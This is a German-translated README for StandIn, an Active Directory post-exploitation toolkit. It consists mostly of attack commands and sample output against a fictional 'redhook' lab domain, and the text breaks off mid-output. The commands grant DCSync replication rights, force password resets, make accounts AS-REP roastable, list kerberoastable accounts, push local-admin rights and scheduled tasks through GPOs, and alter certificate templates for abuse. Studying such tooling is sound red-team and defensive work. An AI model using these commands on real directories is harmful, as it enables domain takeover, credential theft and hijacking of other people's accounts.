
StandIn ist ein kleines .NET35/45 AD Post-Exploitation-Toolkit
StandIn ist ein kleines AD-Post-Compromise-Toolkit. StandIn entstand, weil wir bei xforcered kürzlich eine .NET-native Lösung für ressourcenbasierte eingeschränkte Delegation benötigten. Allerdings wuchs StandIn schnell um eine Reihe von Komfortfunktionen.
Ich möchte StandIn weiterentwickeln, um mich selbst mehr über Directory Services-Programmierung zu lehren und hoffentlich ein Werkzeug zu erweitern, das in die AD-Post-Exploitation-Toolchain passt.
Beiträge sind sehr willkommen. Bitte stellen Sie sicher, dass Pull-Requests die folgenden Punkte enthalten: Beschreibung der Funktionalität, kurze technische Erklärung und Beispielausgabe.
Haben Sie etwas, das Sie gerne zu StandIn hinzugefügt sehen möchten, aber keinen PR? Bitte öffnen Sie ein Ticket und beschreiben Sie die Funktionalität so gut wie möglich.
Die folgenden Punkte stehen derzeit für die Implementierung in nachfolgenden Versionen von StandIn auf dem Radar.
__ ( / _// ~b33f __)/(//)(/(/) v1.4
--
--> Args? <----<
--help This help menu --object LDAP filter, e.g. samaccountname=HWest --ldap LDAP filter, can return result collection --filter Filter results, varies based on function --limit Limit results, varies based on function, defaults to 50 --computer Machine name, e.g. Celephais-01 --group samAccountName, e.g. "Necronomicon Admins" --ntaccount User name, e.g. "REDHOOK\UPickman" --sid Dependent on context --grant User name, e.g. "REDHOOK\KMason" --guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 --domain Domain name, e.g. REDHOOK --user User name --pass Password --newpass New password to set for object --gpo List group policy objects --acl Show ACL's for returned GPO's --localadmin Add samAccountName to BUILTIN\Administrators for vulnerable GPO --setuserrights samAccountName for which to add token rights in a vulnerable GPO --tasktype Immediate task type (user/computer) --taskname Immediate task name --author Immediate task author --command Immediate task command --args Immediate task command args --target Optional, filter for DNS name or NTAccount --targetsid Optional, provider user SID --increase Increment either the user or computer GPO version number for the AD object --policy Reads some account/kerberos properties from the "Default Domain Policy" --dns Performs ADIDNS enumeration, supports wildcard filters --legacy Boolean, sets DNS seach root to legacy (CN=System) --forest Boolean, sets DNS seach root to forest (DC=ForestDnsZones) --passnotreq Boolean, list accounts that have PASSWD_NOTREQD set --type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync --spn Boolean, list kerberoastable accounts --setspn samAccountName for which to add/remove an SPN --principal Principal name to add to samAccountName (e.g. MSSQL/VermisMysteriis) --delegation Boolean, list accounts with unconstrained / constrained delegation --asrep Boolean, list ASREP roastable accounts --dc Boolean, list all domain controllers --trust Boolean, list all trust relationships --adcs List all CA's and all published templates --clientauth Boolean, modify ADCS template to add/remove "Client Authentication" --ess Boolean, modify ADCS template to add/remove "ENROLLEE_SUPPLIES_SUBJECT" --pend Boolean, modify ADCS template to add/remove "PEND_ALL_REQUESTS" --owner Boolean, modify ADCS template owner --write Boolean, modify ADCS template, add/remove WriteDacl/WriteOwner/WriteProperty permission for NtAccount --enroll Boolean, modify ADCS template, add/remove "Certificate-Enrollment" permission for NtAccount --add Boolean, context dependent group/spn/adcs --remove Boolean, context dependent msDS-AllowedToActOnBehalfOfOtherIdentity/group/adcs --make Boolean, make machine; ms-DS-MachineAccountQuota applies --disable Boolean, disable machine; should be the same user that created the machine --access Boolean, list access permissions for object --delete Boolean, delete machine from AD; requires elevated AD access
--
--> Usage? <----<
StandIn.exe --ldap "(&(samAccountType=805306368)(servicePrincipalName=)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" StandIn.exe --ldap servicePrincipalName= --domain redhook --user RFludd --pass Cl4vi$Alchemi4e --limit 10 StandIn.exe --ldap servicePrincipalName=* --filter "pwdlastset, distinguishedname, lastlogon" --limit 100
StandIn.exe --object "(&(samAccountType=805306368)(servicePrincipalName=vermismysteriis.redhook.local))" StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --object samaccountname=Celephais-01$ --filter "pwdlastset, serviceprincipalname, objectsid"
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --access StandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOK\EDerby" StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!" StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=HArmitage --asrep StandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=TMalone --asrep --remove StandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --asrep StandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --limit 20 StandIn.exe --gpo --filter admin --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --gpo --filter admin --acl --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant "SeTcbPrivilege,SeDebugPrivilege" StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant SeLoadDriverPrivilege --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target Rllyeh.redhook.local StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype user --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target "REDHOOK\RBloch" --targetsid S-1-5-21-315358687-3711474269-2098994107-1106 StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype user StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype computer --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --policy StandIn.exe --policy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --limit 20 StandIn.exe --dns --filter SQL --limit 10 StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --passnotreq StandIn.exe --passnotreq --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --sid JCurwen StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --spn StandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --add StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --delegation StandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dc
StandIn.exe --trust
StandIn.exe --group Literarum StandIn.exe --group "Magna Ultima" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --group JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --add StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --add --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --remove StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs StandIn.exe --adcs --filter Kingsport StandIn.exe --adcs --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --clientauth --add StandIn.exe --adcs --filter Kingsport --clientauth --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ess --add StandIn.exe --adcs --filter Kingsport --ess --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --pend --add StandIn.exe --adcs --filter Kingsport --pend --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Innsmouth --make StandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Arkham --disable StandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Danvers --delete StandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Miskatonic --remove StandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
## LDAP-Objektoperationen
Alle `--object`-Operationen erwarten, dass der LDAP-Filter ein einzelnes Objekt zurückgibt, und beenden sich, wenn Ihre Abfrage mehr zurückgibt. Dies ist beabsichtigt. Wenn Sie ein Array von Objekten abrufen möchten, sollten Sie `--ldap` verwenden.
### Roh-LDAP
#### Anwendungsfall
> *Operativ möchten wir möglicherweise ein Array von AD-Objekten abrufen und optional die Ergebnisse und Eigenschaften filtern und/oder begrenzen.*
#### Syntax
Rufen Sie alle Eigenschaften der aufgelösten Objekte ab. Abfragen können einfache Übereinstimmungen für eine einzelne Eigenschaft oder komplexe LDAP-Filter sein. Begrenzen Sie optional die zurückgegebenen Ergebnisse mit `--limit`.```
C:\> StandIn.exe --ldap "(&(displayName=*)(gpcfilesyspath=*))" --filter "gpcfilesyspath,versionnumber"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] LDAP search result count : 3
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => gpcfilesyspath,versionnumber
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 1
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 11
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
[?] Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 2
|_ Computer Version : 4
[+] gpcfilesyspath
|_ \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
Operationell möchten wir möglicherweise alle Eigenschaften eines bestimmten Objekts in AD anzeigen. Ein häufiges Beispiel wäre, die Gruppenmitgliedschaften eines Benutzerkontos oder den Zeitpunkt der letzten Authentifizierung eines Benutzerkontos an der Domäne zu überprüfen.
Gibt das aufgelöste Objekt zurück. Abfragen können einfache Übereinstimmungen für eine einzelne Eigenschaft oder komplexe LDAP-Filter sein. Optional können Sie die Eigenschaften, die Sie abrufen möchten, mit --filter filtern.```
C:> StandIn.exe --object samaccountname=m-10-1909-01$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-01 Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 360 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195797 [+] instancetype |_ 4 [+] name |_ M-10-1909-01 [+] badpasswordtime |_ 0x0 [+] pwdlastset |_ 10/9/2020 4:42:02 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-01 |_ TERMSRV/m-10-1909-01.main.redhook.local |_ WSMAN/m-10-1909-01 |_ WSMAN/m-10-1909-01.main.redhook.local |_ RestrictedKrbHost/M-10-1909-01 |_ HOST/M-10-1909-01 |_ RestrictedKrbHost/m-10-1909-01.main.redhook.local |_ HOST/m-10-1909-01.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 11/1/2020 7:40:09 PM UTC [+] usncreated |_ 31103 [+] objectguid |_ 17c80232-2ee6-47e1-9ab5-22c51c268cf0 [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 4:59:55 PM [+] adspath |_ LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-01 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:59:32 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-01.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/25/2020 1:28:32 AM |_ 7/16/2020 2:15:26 PM |_ 7/15/2020 8:54:17 PM |_ 1/1/1601 12:04:17 AM [+] lastlogon |_ 11/3/2020 10:21:11 AM UTC [+] distinguishedname |_ CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-01$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1126 [+] lastlogoff |_ 0 [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### Objektzugriffsberechtigungen abrufen
#### Anwendungsfall
> *Zu bestimmten Phasen des Einsatzes möchte der Operator möglicherweise die Zugriffsberechtigungen für ein bestimmtes Objekt im AD auflösen. Viele Berechtigungen können einen operativen Weg eröffnen, um den Zugriff zu erweitern oder Ziele zu erreichen. Beispielsweise könnte eine WriteDacl-Berechtigung für eine Gruppe es dem Operator ermöglichen, sich selbst die Berechtigung zu erteilen, einen neuen Benutzer zur Gruppe hinzuzufügen. Tools wie [SharpHound](https://github.com/BloodHoundAD/SharpHound3) decken diese Dacl-Schwachstellen in vielen Fällen bereits auf.*
#### Syntax
Rufen Sie die Active Directory-Regeln ab, die für das aufgelöste Objekt gelten, und übersetzen Sie alle Schema-/Rechte-GUIDs in ihren Anzeigenamen. Optional können Sie die Ergebnisse nach einem NTAccount-Namen filtern.```
C:\>StandIn.exe --object samaccountname=m-10-1909-01$ --access
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> NT AUTHORITY\SELF
|_ Type : Allow
|_ Permission : CreateChild, DeleteChild
|_ Object : ANY
[+] Identity --> NT AUTHORITY\Authenticated Users
|_ Type : Allow
|_ Permission : GenericRead
|_ Object : ANY
[... Snip ...]
C:\> StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAIN\domainjoiner"
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : DeleteTree, ExtendedRight, Delete, GenericRead
|_ Object : ANY
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Account-Restrictions
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : servicePrincipalName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : dNSHostName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : sAMAccountName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : displayName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : description
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Logon
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : DS-Validated-Write-Computer
Mit den entsprechenden Rechten kann der Betreiber einem NTAccount besondere Berechtigungen über ein bestimmtes Objekt in AD gewähren. Wenn ein Betreiber beispielsweise GenericAll-Berechtigungen über ein Benutzerkonto besitzt, kann er sich selbst oder einem Dritten NTAccount die Berechtigung erteilen, das Passwort des Benutzers zu ändern, ohne das aktuelle Passwort zu kennen.
Füge dem aufgelösten Objekt für ein bestimmtes NTAccount eine Berechtigung hinzu. StandIn unterstützt eine kleine Menge vordefinierter Berechtigungen (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync), erlaubt es Betreibern jedoch auch, eine benutzerdefinierte Rechte-GUID mit dem --guid-Flag anzugeben.```
C:> whoami
main\s4uuser
C:> StandIn.exe --group lowPrivButMachineAccess
[?] Using DC : m-w19-dc01.main.redhook.local [?] Group : lowPrivButMachineAccess GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : s4uUser Type : User SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess |_ Type : Allow |_ Permission : WriteDacl |_ Object : ANY
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --grant "MAIN\s4uuser" --type DCSync
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Set object access rules |_ Success, added dcsync privileges to object for MAIN\s4uuser
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-All
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-In-Filtered-Set
### Objekt-Passwort festlegen
#### Anwendungsfall
> *Wenn der Operator über die Berechtigung `User-Force-Change-Password` für ein Benutzerobjekt verfügt, kann er das Passwort für dieses Benutzerkonto ändern, ohne das aktuelle Passwort zu kennen. Diese Aktion ist destruktiv, da der Benutzer sich nicht mehr authentifizieren kann, was Alarm auslösen könnte.*
#### Syntax
Legt das Passwort des aufgelösten Objekts fest, ohne das aktuelle Passwort zu kennen.```
C:\> whoami
main\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess
|_ Type : Allow
|_ Permission : WriteDacl
|_ Object : ANY
C:\> StandIn.exe --object "samaccountname=user005" --grant "MAIN\s4uuser" --type resetpassword
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Set object access rules
|_ Success, added resetpassword privileges to object for MAIN\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\s4uUser
|_ Type : Allow
|_ Permission : ExtendedRight
|_ Object : User-Force-Change-Password
C:\> StandIn.exe --object "samaccountname=user005" --newpass "Arkh4mW1tch!"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Setting account password
|_ Success, password set for object
Wenn der Operator Schreibzugriff auf ein Benutzerkonto hat, kann er die
userAccountControl-Flags des Benutzers ändern, umDONT_REQUIRE_PREAUTHeinzuschließen. Dadurch kann der Operator einen AS-REP-Hash für den Benutzer anfordern, der offline geknackt werden kann. Dieser Prozess ist dem Kerberoasting sehr ähnlich. Diese Aktion ist nicht destruktiv, basiert jedoch auf der Tatsache, dass der Benutzer ein Passwort hat, das in einem angemessenen Zeitrahmen geknackt werden kann.
Füge DONT_REQUIRE_PREAUTH zu den userAccountControl-Flags des aufgelösten Objekts hinzu oder entferne es daraus.```
C:> StandIn.exe --object "samaccountname=user005" --asrep
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
C:> StandIn.exe --object "samaccountname=user005" --asrep --remove
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 0 object(s) that do not require Kerberos preauthentication..
## SID
#### Anwendungsfall
> *Manchmal hast du entweder eine `SID` oder einen `samAccountName` und musst den anderen erhalten. Dies ist eine einfache Hilfsfunktion, um das für dich zu erledigen.*
#### Syntax
Konvertiere `SID` oder `samAccountName` in die Benutzer-`SID` und den `NTAccount`.```
C:\> StandIn.exe --sid user001
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
C:\> StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
Diese Funktion listet alle Konten in AD auf, die derzeit aktiviert sind und
DONT_REQUIRE_PREAUTHals Teil ihreruserAccountControl-Flags haben. Diese Konten können AS-REP geröstet werden, dieser Prozess ist dem Kerberoasting sehr ähnlich.
Gibt alle Konten zurück, die ASREP-roastable sind.``` C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
## PASSWD_NOTREQD
#### Anwendungsfall
> *Diese Funktion listet alle Konten in AD auf, die derzeit aktiviert sind und `PASSWD_NOTREQD` als Teil ihrer `userAccountControl`-Flags haben. Diese Konten können trotz GPO-Durchsetzung leere Passwörter haben, sie können aber auch ein Passwort konfiguriert haben.*
#### Syntax
Alle Konten zurückgeben, bei denen `PASSWD_NOTREQD` gesetzt ist.```
C:\> StandIn.exe --passnotreq
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 2 object(s) that do not require a password..
[*] SamAccountName : passnotreq
DistinguishedName : CN=passnotreq,CN=Users,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:47:27 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, NORMAL_ACCOUNT
[*] SamAccountName : REDHOOKSLSRV$
DistinguishedName : CN=RedHookSLSRV,CN=Computers,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:51:37 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, WORKSTATION_TRUST_ACCOUNT
Diese Funktionen befassen sich speziell mit SPNs.
Diese Funktion listet alle Konten in AD auf, die derzeit aktiviert sind und kerberoasted werden können. Es werden grundlegende Kontoinformationen für den Kontext hinzugefügt: Wann wurde das Passwort zuletzt geändert, wann wurde das Konto zuletzt verwendet und welche Verschlüsselungstypen werden unterstützt.
Alle Konten zurückgeben, die kerberoasted werden können.``` C:> StandIn.exe --spn
[?] Using DC : m-w16-dc01.main.redhook.local [?] Found 1 kerberostable users..
[*] SamAccountName : SimCritical DistinguishedName : CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local ServicePrincipalName : ldap/M-2012R2-03.main.redhook.local PwdLastSet : 11/2/2020 7:06:17 PM UTC lastlogon : 0x0 Supported ETypes : RC4_HMAC_DEFAULT
### Set SPN
#### Anwendungsfall
> *Mit den entsprechenden Berechtigungen können Sie mit dieser Funktion ein `SPN` zu einem `samAccountName` hinzufügen und entfernen.*
#### Syntax
`SPN's` zu einem `samAccountName` hinzufügen und daraus entfernen.```
C:\> StandIn.exe --setspn user001 --principal MSSQL/Alchimiae --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
